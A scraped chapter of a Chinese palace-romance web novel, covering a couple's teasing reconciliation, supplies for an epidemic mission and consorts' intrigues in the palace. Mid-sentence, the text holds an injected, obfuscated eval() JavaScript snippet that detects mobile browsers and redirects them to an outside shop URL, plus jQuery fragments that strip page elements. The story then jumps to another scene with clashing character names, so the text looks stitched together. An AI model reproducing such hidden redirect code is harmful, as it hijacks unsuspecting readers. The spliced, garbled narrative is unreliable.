第三百七十三章

作品:《凤逆天下:毒妃倾世狂医

    ”


    他顿了顿,


    “也行。”


    他话锋一转,故意逗她,


    “除非……夫人再‘胡言乱语’一次。”


    “冀容白!”


    茅清兮猛地抬起头,眼眶泛红,恼羞成怒,


    “你别太过分!”


    冀容白却丝毫不惧,反而变本加厉:


    “我可没过分。昨夜,夫人还说……”


    “不许说!”


    茅清兮再也忍不住,猛地扑进他怀里,紧紧地抱住他,带着哭腔的声音闷闷地从他胸前传来,


    “我错了,我真的错了!我以后再也不碰酒了!你别说了,算我求你……”


    温香软玉主动投怀送抱,冀容白嘴角的笑意再也掩饰不住。


    他伸手环住她的腰,在她耳边低声说道:


    “夫人记住了,这可是你说的。”


    他顿了顿,又补充道:


    “往后,想喝酒,只能在我面前喝。”


    茅清兮的脸颊红得几乎要滴血,她把头埋在冀容白的胸前,恨不得立刻消失。


    直到冀容白轻笑出声,她才意识到自己又被他戏弄了。


    “你……”


    她又羞又气,却又无可奈何。


    最终,她只能红着耳朵,逃也似的离开了房间。


    明镜般的铜镜前,映出茅清兮略显急促的身影。


    澜府上下,对两位主子这般“和好”早已司空见惯。


    毕竟,这样突如其来的争吵与和好,几乎每日都在上演。


    大家逐渐**以为常,各自忙碌着手中的事务。


    茅清兮定了定神,唤来游萍,低声吩咐:


    “速去准备,将库房里上好的药材都清点出来,多备些总是好的。”


    游萍应声而去,身形如风。


    茅清兮又提笔写了封信,着人快马加鞭送往江南,交给司玄苏。


    她在信中详细询问了云州府周边的情况,并让司玄苏在那边多留意,寻些稀缺的药材以备不时之需。


    安泰县究竟如何,她还一无所知。


    但既然已经封锁,想必是缺医少药的。


    药材,自然是越多越好。


    况且,他们此行,不仅要救人,更要防备自己人染上疫病。


    她和冀容白,是去救死扶伤的,不是去当炮灰的。


    同一时刻,宫中也有了消息传来。


    安妃一事已有了定论,并非意外,而是有人蓄意谋害。


    凶手,竟是后宫里一位名不见经传的栖雅。


    平日里,这位栖雅与安妃并无太多交集,只因嫉妒安妃受宠,便暗中生了歹心。


    她买通了内务府的一名小太监,偷偷将易燃之物运进安妃宫中,趁人不备,纵火焚宫。


    如今,这栖雅已被关押,只待进一步审理。


    安妃之死的真相,被捂得严严实实。


    外人皆以为,这是一场因妒生恨的后宫惨剧。


    永华宫中,一向以华贵著称的尹贵妃,此刻却只着了件素雅的衣裙,斜倚在榻上。


    她手中把玩着一只精致的鸟笼,笼中雀儿正欢快地跳跃着。


    “娘娘,这是司礼监刚送来的‘雪衣’,说是陛下特意寻来给您解闷的。”


    一名宫女捧着一个盖着黑布的鸟笼,小心翼翼地禀报。


    尹贵妃连眼皮都没抬一下,只淡淡地“嗯”了一声。


    宫女将鸟笼放在桌上,又道:


    “娘娘,听说陛下今儿个去瞧了明明郡主,还说晚上要来您这儿用膳呢。”


    “不必准备了。”


    尹贵妃漫不经心地说,


    “他不会来了。”


    “娘娘,您怎知……”


    宫女话未说完,便被尹贵妃打断。


    “这宫里啊,看着热闹,可有几个人,能真正入得了他的眼?”


    尹贵妃的语气中带着一丝自嘲,


    “咱们这位陛下,心里头惦记的,怕还是从前那位……”


    “娘娘慎言!”


    宫女吓得“扑通”一声跪倒在地,


    “这话要是传出去,可不得了!”


    尹贵妃却只是笑了笑,似乎并不在意。


    宫女心中忐忑不安。


    自打安妃走后,贵妃娘娘就跟变了个人似的。


    从前,她最是谨言慎行,可如今,却像是故意要惹祸上身一般。


    “对了,”


    尹贵妃忽然问道,


    “冀容白那边,可是准备动身去江南了?”


    “回娘娘,正是。您先前不是还让家里人……”


    宫女说到一半,忽然意识到自己说漏了嘴,连忙噤声。


    尹贵妃却不在意地摆了摆手:


    “无妨。他这一趟,是躲不过去的。”


    她望着笼中的雀儿,眼神有些空洞。


    “你说,这鸟儿关久了,是不是就忘了怎么飞了?”


    她喃喃自语,


    “翅膀……还有什么用呢?”


    她忽然抬起头,吩咐道:


    “去,把这‘雪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737660|179210||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    衣’的翅膀剪了。”


    “娘娘?”


    宫女以为自己听错了,


    “这……这可是陛下特意寻来的……”


    “剪了。”


    尹贵妃的声音冰冷,不带一丝感情,


    “本宫不喜欢。”“人走了?”


    林臧雨拈起腕上一串佛珠,细细摩挲。莹润的珠玉,透着长年诵经染上的浅淡佛香。


    “回主子,”绮巧躬身低语,“苏将军和臧夫人今早离开京城了。算着时辰,快马加鞭,四五日便能抵达江南。”


    “太子那边呢?”林臧雨眼皮都没抬一下,只淡淡问。


    “太子殿下派了人在半路设伏,想阻止苏将军他们进入江南。”


    一声轻笑,自林臧雨唇边溢出,带着几分显而易见的不屑:


    “蠢货!冀容白是他能拦得住的?”


    绮巧垂首,不敢接话。


    林臧雨将佛珠在指尖绕了一圈,复又缓缓开口,语气中带着一丝不易察觉的冷意:


    “给林臧栖递个话儿,让她安分些,别自作聪明,坏了我的大事。”


    绮巧应了声“是”,又小心翼翼地禀报:


    “主子,奴婢还打听到一件事。皇后近日频繁出入尹贵妃宫中,两人似乎相谈甚欢。那**子退朝归来,皇后还特意安排了一出‘偶遇’,让太子与明明郡主在御花园中‘巧遇’。”


    林臧雨“呵”了一声,仿佛听到了什么滑稽的戏码:


    “想让明明嫁给太子?她也就这点眼皮子浅的伎俩了。不过,有尹婉婉护着,明明这颗棋子,她怕是动不了。你只需盯紧林臧栖,别让她在江南的事情上指手画脚,其余的,不必理会。”


    “奴婢明白。”


    林臧雨微微颔首,又问道:


    “对了,孙明远那边,可都布置妥当了?”


    “回主子,一切皆在您的掌控之中,万无一失。”


    “那就好。”林臧雨稍稍安心。


    这时,一名宫女匆匆入内,福身禀告:


    “娘娘,严公公来传话,说陛下今晚要来咱们玉棠宫歇息。”


    林臧雨闻言,眸光陡然一冷:


    “告诉他,本宫今日身体不适,无法侍奉圣驾。让他去别处吧。”


    那宫女面露难色,支支吾吾道:


    “可是陛下……平日里只来玉棠宫,其他宫殿……”


    话音未落,她便感受到林臧雨冰冷的视线,如芒刺在背,吓得“扑通”一声跪倒在地,不住地磕头:


    “奴婢失言!